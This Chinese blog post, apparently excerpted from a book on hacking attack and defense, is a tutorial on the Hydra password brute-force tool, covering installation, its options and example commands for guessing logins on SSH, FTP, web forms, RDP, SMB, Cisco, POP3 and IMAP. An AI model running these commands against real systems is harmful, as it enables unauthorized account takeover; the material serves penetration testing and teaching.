暴力破解工具Hydra

管理员账号

2016-12-21

小编说:Hydra是世界顶级的密码暴力破解工具,支持几乎所有协议的在线密码破解,功能强大,密码能否被破解的关键取决于破解字典是否足够强大。在网络安全渗透过程中,Hydra是一款必备的测试工具,配合社工库进行社会工程学攻击,有时会获得意想不到的效果。
本文选自《黑客攻防:实战加密与解密》

Hydra简介

Hydra是著名黑客组织thc开发的一款开源的暴力密码破解工具,可以在线破解多种密码,目前已经被Backtrack和kali等渗透平台收录。除了命令行下的Hydra外,还提供了Hydra-GTK版本(有图形界面的Hydra),其官方网站是http://www.thc.org/thc- hydra。

Hydra的最新版本为Hydra 7.6,它支持AFP、Cisco AAA、Cisco auth、Cisco enable、CVS、Firebird、FTP、uHTTP-FORM-GET、HTTP-FORM- POST、HTTP-GET、HTTP-HEAD、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、MySQL、NCP、NNTP、Oracle Listener、Oracle SID、Oracle、PC-Anywhere、PCNFS、POP3、POSTGRES、RDP、Rexec、Rlogin、Rsh、SAP/R3、SIP、SMB、SMTP、SMTP Enum、SNMP、SOCKS5、SSH(v1和v2)、Subversion、Teamspeak(TS2)、Telnet、VMware-Auth、VNC、XMPP等类型密码的破解。

Hydra的安装与使用

Hydra可以在Debian和Ubuntu等环境下安装和使用。

1.在Debian和Ubuntu环境下安装Hydra

如果是Debian和Ubuntu发行版,会自带Hydra,可直接使用apt-get命令在线安装,命令如下。

sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev     libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev hydra

如果要使用Redhat/Fedora发行版的源码包编译安装,需要先安装相关依赖包,命令如下。

yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel

2.安装CentOS

CentOS的安装命令如下。

# tar zxvf hydra-7.6-src.tar.gz
# cd hydra-6.0-src
# ./configure
# make
# make install

3.使用Hydra

BT5和kali都默认安装了Hydra。在kali中,依次单击“kali Linux”→“Password Attacks”→“Online Attacks”→“hydra”选项即可打开Hydra。在CentOS终端中,输入命令“/usr/local/bin/hydra”即可打开该暴力破解工具。除此之外,还可以通过“hydra-wizard.sh”命令进行向导式设置来密码破解。

4.安装libssh

如果不安装libssh,运行Hydra破解账号时会出现错误。下图所示,显示错误提示信息“[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!”。在CentOS下运行如下命令即可解决此问题。

yum install cmake
wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
tar zxf libssh-0.4.8.tar.gz
cd libssh-0.4.8
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
make
make install
cd /test/ssh/hydra-7.6    //此为下载Hydar并解压的目录
make clean
./configure
make
make install

5.Hydra参数详细说明

Hydra命令示例如下。

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]

-l LOGIN:指定破解的用户名称,对特定用户破解。

-L FILE:从文件中加载用户名进行破解。

-p PASS:小写字母“p”,指定密码破解,少用,一般采用密码字典。

-P FILE:大写字母“P”,指定密码字典。

-C FILE:使用冒号分割格式,如“登录名:密码”代替“-L”和“-P”参数。

-e nsr:可选选项,“n”表示空密码试探,“s”表示使用指定用户和密码试探。

-t TASKS:同时运行的连接的线程数,每一台主机默认为16。

-M FILE:指定服务器目标列表文件为每行1条。

-w TIME:设置最大超时时间,单位为秒,默认为30秒。

-o FILE:指定结果输出文件。

-f:在使用“-M”参数以后,在找到第1对登录名或者密码时中止破解。

-v / -V:显示详细过程。

-R:继续上一次破解。

-S:采用SSL链接。

-s PORT:可通过这个参数指定非默认端口。

-U:服务模块使用细节。

-h:更多的命令行选项(完整的帮助文档)。

server:目标服务器名称或者IP地址(使用此选项或“-M”选项)。

service:指定服务名,支持的服务和协议包括Telnet、FTP、POP3[-ntlm]、IMAP[-ntlm]、SMB、SMB NT、http[s]-{head|get}、http-{get|post}-form、http-proxy、Cisco、Cisco-Enable、VNC、LDAP2、LDAP3、MSSQL、MySQL、Oracle-Listener、Postgres、NNTP、Socks5、REXEC、Rlogin、PCNFS、SNMP、RSH、CVS、SVN、ICQ、SAPR3、SSH2、SMTP-Auth[-ntlm]、pcAnywhere、TeamSpeak、SIP、Vmauthd、Firebird、NCP、AFP等。

OPT:一些服务模块支持额外的输入(“-U”选项用于获取模块的帮助信息)。

Hydra使用实例

本节给出Hydra的用法实例。

1.破解SSH账号

破解SSH账号有两种方式,一种是指定账号破解,另一种是指定用户列表破解,命令如下。

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh

例如,输入命令“hydra -l root -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh”,对IP地址为192.168.44.139的root账号密码进行破解,破解成功后显示其详细信息如下。

输入命令“hydra -l root -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.44.139 ssh”,将扫描结果保存在save.log文件中,使用“cat save.log”命令查看扫描结果,如下。

2.破解FTP账号

(1)破解指定用户名密码

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

(2)批量破解FTP账号和密码

hydra -L list_user -P list_password 192.168.56.101 ftp -V

对FTP服务器(192.168.56.101)进行密码破解。

3.GET方式提交,破解Web登录

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

4.POST方式提交,破解Web登录4.POST方式提交,破解Web登录

(1)hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form “/admin/login.php: username= ^USER^ &password=^PASS^&submit=login:sorry password”

hydra -L list_user -P list_password 192.168.0.115 http-post-form "member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1:fastloginfield=username&username=^USER^&password=^PASS^&quickforward=yes&handlekey=ls:Login failed" –V

以上示例表示对192.168.0.115进行破解,需要定义登录的URL,以及设置登录验证和错误登录标记,效果如图。

member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1
fastloginfield=username&username=^USER^&password=^PASS^&quickforward=yes&handlekey=ls
Login failed

(2)对admin密码进行破解

hydra -t 3 -l admin -P pass.txt -o out.txt -f 192.168.0.115 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"

“-t”表示同时线程数为3;“-l”表示用户名是“admin”,字典为pass.txt,保存为out.txt;“-f”表示破解1个密码就停止;“192.168.0.115”表示目标IP地址;“http-post-form”表示采用HTTP的POST方式提交表单密码破解;“”中的内容是错误猜解的返回信息提示。</p>

5.破解HTTPS

hydra -m /index.php -l muts -P pass.txt 192.168.0.115 https

6.破解teamspeak

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

7.破解Cisco

hydra -P pass.txt 192.168.0.115 cisco
hydra -m cloud -P pass.txt 192.168.0.115 cisco-enable

8.破解SMB

hydra -l administrator -P pass.txt 192.168.0.115 smb

9.破解POP3

hydra -l muts -P pass.txt my.pop3.mail pop3

10.破解远程终端账号

(1)破解管理员账号

hydra ip rdp -l administrator -P pass.txt -V

(2)批量破解账号

hydra -s 3389 192.168.44.138 rdp -L user.txt  -P pwd.txt –V

破解效果如图。

11.破解HTTP-Proxy

hydra -l admin -P pass.txt http-proxy://192.168.0.115

12.破解IMAP

hydra -L user.txt -p secret 192.168.0.115 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

读者评论

相关博文

  • Linux OpenSSH后门的添加与防范

    Linux OpenSSH后门的添加与防范

    管理员账号 2017-02-14

    小编说:相对于Windows,Linux操作系统的密码较难获取。不过很多Linux服务器配置了OpenSSH服务,在获取root权限的情况下,可以通过修改或者更新OpenSSH代码等方法,截取并保存其SSH登录账号和密码,甚至可以留下一...

    管理员账号 2017-02-14
    186 0 0 0
  • Linux OpenSSH后门的添加与防范

    Linux OpenSSH后门的添加与防范

    小编说:相对于Windows,Linux操作系统的密码较难获取。不过很多Linux服务器配置了OpenSSH服务,在获取root权限的情况下,可以通过修改或者更新OpenSSH代码等方法,截取并保存其SSH登录账号和密码,甚至可以留下一...

    管理员账号
    491 0 0 0